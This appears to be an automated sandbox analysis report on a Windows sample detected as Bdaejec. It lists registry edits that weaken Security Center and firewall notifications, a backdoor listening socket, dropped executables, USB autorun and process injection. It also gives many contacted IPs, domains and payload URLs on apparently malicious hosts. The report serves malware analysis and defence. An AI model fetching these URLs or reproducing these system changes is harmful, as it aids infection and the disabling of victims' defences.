Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Modifies the windows firewall
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile DisableNotifications Jump to behavior
Modifies the windows firewall notifications settings
Source: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Registry value created: DisableNotifications 1 Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: YMZwp.exe PID: 7348, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: YMZwp.exe PID: 7348, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_02423911 htons,socket,setsockopt,bind,recvfrom,InterlockedExchange,CreateThread,Sleep,closesocket,RtlExitUserThread, 6_2_02423911
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1467984 Sample: #U6587#U4ef6#U7279#U5f81#U6... Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 40 www.careerdesk.org 2->40 42 g2.arrowhitech.com 2->42 44 7 other IPs or domains 2->44 54 Snort IDS alert for network traffic 2->54 56 Multi AV Scanner detection for domain / URL 2->56 58 Malicious sample detected (through community Yara rule) 2->58 60 12 other signatures 2->60 8 #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe 501 168 2->8         started        signatures3 process4 dnsIp5 46 ahmediye.net 78.46.2.155, 49712, 49720, 49725 HETZNER-ASDE Germany 8->46 48 www.careerdesk.org 54.244.188.177, 49707, 49715, 49722 AMAZON-02US United States 8->48 50 3 other IPs or domains 8->50 26 C:\lwkdr.exe, PE32 8->26 dropped 28 C:\Users\user\AppData\Local\...\winxmkqo.exe, PE32 8->28 dropped 30 C:\Users\user\AppData\Local\Temp\YMZwp.exe, PE32 8->30 dropped 32 2 other malicious files 8->32 dropped 62 Creates autorun.inf (USB autostart) 8->62 64 Changes security center settings (notifications, updates, antivirus, firewall) 8->64 66 Contains functionality to inject threads in other processes 8->66 68 10 other signatures 8->68 13 YMZwp.exe 14 8->13         started        18 SearchApp.exe 8->18 injected 20 dllhost.exe 7 8->20         started        22 23 other processes 8->22 file6 signatures7 process8 dnsIp9 52 arthur.niria.biz 44.221.84.105, 49706, 49710, 49711 AMAZON-AESUS United States 13->52 34 C:\Program Files\7-Zip\Uninstall.exe, PE32 13->34 dropped 36 C:\Program Files (x86)\AutoIt3\...\SciTE.exe, PE32 13->36 dropped 38 C:\Program Files (x86)\AutoIt3\...\MyProg.exe, MS-DOS 13->38 dropped 70 Antivirus detection for dropped file 13->70 72 Multi AV Scanner detection for dropped file 13->72 74 Detected unpacking (changes PE section rights) 13->74 78 2 other signatures 13->78 24 WerFault.exe 13->24         started        76 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 18->76 file10 signatures11 process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
44.221.84.105
 ddos.dnsnb8.net United States
14618 AMAZON-AESUS true
78.46.2.155
 ahmediye.net Germany
24940 HETZNER-ASDE true
54.244.188.177
 www.careerdesk.org United States
16509 AMAZON-02US true
37.230.104.89
 ampyazilim.com.tr Turkey
42807 AEROTEK-ASTR true
85.17.167.196
 unknown Netherlands
60781 LEASEWEB-NL-AMS-01NetherlandsNL false

Contacted Domains

Name IP Active
www.careerdesk.org 54.244.188.177 true
ddos.dnsnb8.net 44.221.84.105 true
ampyazilim.com.tr 37.230.104.89 true
apple-pie.in 44.221.84.105 true
arthur.niria.biz 44.221.84.105 true
ahmediye.net 78.46.2.155 true
windowsupdatebg.s.llnwi.net 46.228.146.128 true
amsamex.com unknown unknown
althawry.org unknown unknown
g2.arrowhitech.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ampyazilim.com.tr/images/xs2.jpg?cd510956=43331246 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?5eb9eca6=-1116481204 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?d82b8544=1622021392 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?c750acd5=-1902028374 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?a8434aa9=-1471984983 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?c1df27dd=251215592 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?5829e9af=-1051767432 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?43b77b4=71006132 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?a4a56c66=-1532662682 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?6dcc621=690791622 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?60b080=25346560 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?96faab4=1108191980 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?5e41367=98833255 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?f026a792=-265902190 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?2bcaf743=1582807576 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?2f6b0f9=149164779 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?1651959c=1123336404 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?67316d6f=898910285 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?434c9e5=282273684 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?3c84448=190368984 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?9ad6cfae=1905085726 true
  • Avira URL Cloud: malware
 unknown
http://ahmediye.net/xs.jpg?a9db6871=-1485987388 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?12dacc76=1265316312 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?5e49a2=6179234 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?58f235fe=2037783532 true
  • Avira URL Cloud: phishing
 unknown
http://ahmediye.net/xs.jpg?35cb7c96=435346908 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?224a908=215742000 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?11c3299b=-1612941709 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?e8fd1062=1978557004 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?180330c9=1611449124 true
  • Avira URL Cloud: safe
 unknown
http://apple-pie.in/images/xs.jpg?70445cbe=-228113746 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?908734c0=-1522004096 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?17b6de9=198930248 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?ea3b604f=-1460829892 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?1055bd73=-1828476661 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?3fc1b58c=-1102317868 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?a62d3528=-1506986712 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?669212f9=-838957873 true
  • Avira URL Cloud: safe
 unknown
http://apple-pie.in/images/xs.jpg?3e44093b=-116382484 true
  • Avira URL Cloud: phishing
 unknown
http://www.careerdesk.org/images/xs.jpg?18be425f=-973991176 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?37f8d56f=1339359386 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?cbebb896=1673734594 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?1bf90ddb=938613686 true
  • Avira URL Cloud: malware
 unknown
http://ahmediye.net/xs.jpg?513542c=255458436 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?1964acc0=1278084672 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?fbaba77=527791342 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?1786b5d7=1578817372 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?baaa592=1761595938 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?9a7e303d=-814051145 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?4fe5ce70=1066875328 true
  • Avira URL Cloud: malware
 unknown